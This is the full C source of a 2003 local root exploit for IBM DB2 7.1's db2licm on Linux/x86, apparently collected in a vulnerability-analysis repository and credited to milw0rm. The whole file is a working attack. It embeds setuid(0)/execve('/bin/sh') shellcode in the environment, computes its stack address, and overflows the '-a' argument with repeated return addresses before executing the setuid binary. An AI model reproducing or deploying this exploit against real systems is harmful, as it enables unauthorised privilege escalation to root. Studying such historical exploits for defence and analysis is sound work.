lilbool/vuln-code-analysis

1/* 

2	Local Exploit for db2licm 

3	IBM db2 v 7.1 Linux/x86 

4

5	vulnerability researched by 

6	Juan Manuel Pascual Escriba

7	pask at uninet.edu

8

9

10 */

11

12

13

14char sc[]=

15"\x31\xc0"      /* begin setuid (0) */

16"\x31\xdb"

17"\xb0\x17"

18"\xcd\x80"

19

20"\xeb\x1f"

21"\x5e"

22"\x89\x76\x08"

23"\x31\xc0"

24"\x88\x46\x07"

25"\x89\x46\x0c"

26"\xb0\x0b"

27"\x89\xf3"

28"\x8d\x4e\x08"

29"\x8d\x56\x0c"

30"\xcd\x80"

31"\x31\xdb"

32"\x89\xd8"

33"\x40"

34"\xcd\x80"

35"\xe8\xdc\xff\xff\xff"

36"/bin/sh";

37

38

39#define STACK_TOP_X86 0xC0000000

40#define ALG_MASK 0xfffffff4

41#define ADDR 1000

42#define DB2LICM "/home/db2inst1/sqllib/adm/db2licm"

43

44#define DFL_ALG 4       

45

46int main(int arc, char **arv){

47        char *argv[3];

48        char *envp[2];

49        unsigned long sc_address, ba=0;

50        unsigned char alg = DFL_ALG;

51        unsigned long *p;

52        unsigned char *q;

53        unsigned int i;

54

55

56

57        sc_address = STACK_TOP_X86 - 4 - strlen(DB2LICM) - sizeof(sc) - 1;

58        printf("shellcode address = 0x%X\n",sc_address);

59

60

61        if( (sc_address & ALG_MASK) != sc_address ) {

62                ba = sc_address - (sc_address & ALG_MASK);

63                printf("adding %d trailing bytes to backward align Shellcode to 0x%X\n", ba,

64sc_address & ALG_MASK);

65                sc_address = STACK_TOP_X86 - 4 - strlen(DB2LICM) - sizeof(sc) - ba - 1;

66                printf("new shellcode address = 0x%X\n",sc_address);

67        }

68

69        envp[0] = (char*)malloc(sizeof(sc)+strlen("pete=")+1+ba);

70        q = envp[0];

71        strcpy(q,"pete=");

72        q += strlen("pete=");

73        memcpy(q,sc,sizeof(sc));

74        q += sizeof(sc)-1;

75        memset(q,'A',ba);

76        q += ba;

77        *q = 0;

78        envp[1] = 0;

79

80        /* build overflowing arvg[2] */

81

82

83        printf("using alignment = %d in overflow buffer\n",alg);

84

85        argv[0] = DB2LICM;

86	argv[1] = "-a";

87        argv[2] = (char*)malloc(ADDR*sizeof(unsigned long)+alg+1);

88        memset(argv[2],'A',alg);

89        p=(unsigned long*)(argv[2]+alg);

90        for(i=0;i<ADDR;i++) {

91                *p = sc_address;

92                p++;

93        };

94        *p = 0;

95        argv[3] = 0; 

96

97        printf("executing %s ...\n\n",argv[0]);

98        execve(argv[0],argv,envp); 

99

100

101}

102

103// milw0rm.com [2003-09-27]